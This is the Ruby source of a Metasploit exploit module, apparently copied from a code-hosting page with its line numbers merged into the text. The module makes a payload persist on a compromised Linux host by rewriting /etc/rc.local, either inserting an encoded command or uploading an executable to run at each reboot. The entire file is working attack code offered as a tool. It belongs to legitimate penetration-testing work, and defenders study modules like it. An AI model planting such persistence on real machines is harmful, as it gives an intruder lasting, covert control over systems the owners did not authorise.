Path: blob/master/modules/exploits/linux/persistence/rc_local.rb
31811 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::Local::Persistence12include Msf::Auxiliary::Report13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/rc_local_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'rc.local Persistence',22'Description' => %q{23This module will edit /etc/rc.local in order to persist a payload.24The payload will be executed on the next reboot.25Verified on Ubuntu 18.04.326},27'License' => MSF_LICENSE,28'Author' => [ 'Eliott Teissonniere' ],29'Platform' => [ 'unix', 'linux' ],30'Arch' => [31ARCH_CMD,32ARCH_X86,33ARCH_X64,34ARCH_ARMLE,35ARCH_AARCH64,36ARCH_PPC,37ARCH_MIPSLE,38ARCH_MIPSBE39],40'Payload' => {41'BadChars' => '#%\n"'42},43'References' => [44['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],45['ATT&CK', Mitre::Attack::Technique::T1037_004_RC_SCRIPTS]46],47'SessionTypes' => [ 'shell', 'meterpreter' ],48'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.49'Targets' => [ ['Automatic', {}] ],50'Privileged' => true,51'Notes' => {52'Stability' => [CRASH_SAFE],53'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],54'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]55},56'DefaultTarget' => 057)58)59register_options([60OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),61])62end6364def check65print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')66# a few notes for those who like to read source code. On Ubuntu 18.04.3, when no67# /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).68# When /etc/rc.local exists, systemctl status rc.local shows active (exited).69# so checking the service status isn't necessarily helpful.70if exists?('/etc/rc.local')71return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local')72else73return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/')74end7576CheckCode::Appears('/etc/rc.local is writable')77end7879def install_persistence80print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')81rc_path = '/etc/rc.local'8283print_status "Reading #{rc_path}"8485# read /etc/rc.local, but remove `exit 0`86rc_local = '#!/bin/sh'87if exists? rc_path88rc_local = read_file(rc_path).gsub(/^exit.*$/, '')89backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup')90print_status("Created /etc/rc.local backup: #{backup_profile_path}")91@clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n"92else93@clean_up_rc << "rm #{rc_path}\n"94end9596if payload.arch.first == 'cmd'97# add payload and put back `exit 0`98pload = payload.encoded99pload = "#{pload} &" unless pload.end_with?('&')100rc_local << "\n#{pload}\nexit 0\n"101print_status "Patching #{rc_path}"102else103payload_path = writable_dir104payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"105payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)106payload_path << payload_name107print_status("Uploading payload file to #{payload_path}")108upload_and_chmodx payload_path, generate_payload_exe109rc_local << "\n#{payload_path} &\nexit 0\n"110@clean_up_rc << "rm #{payload_path}\n"111end112113# write new file114write_file(rc_path, rc_local)115chmod(rc_path, 0o755)116117print_good('Payload will be triggered at next reboot')118end119end120121122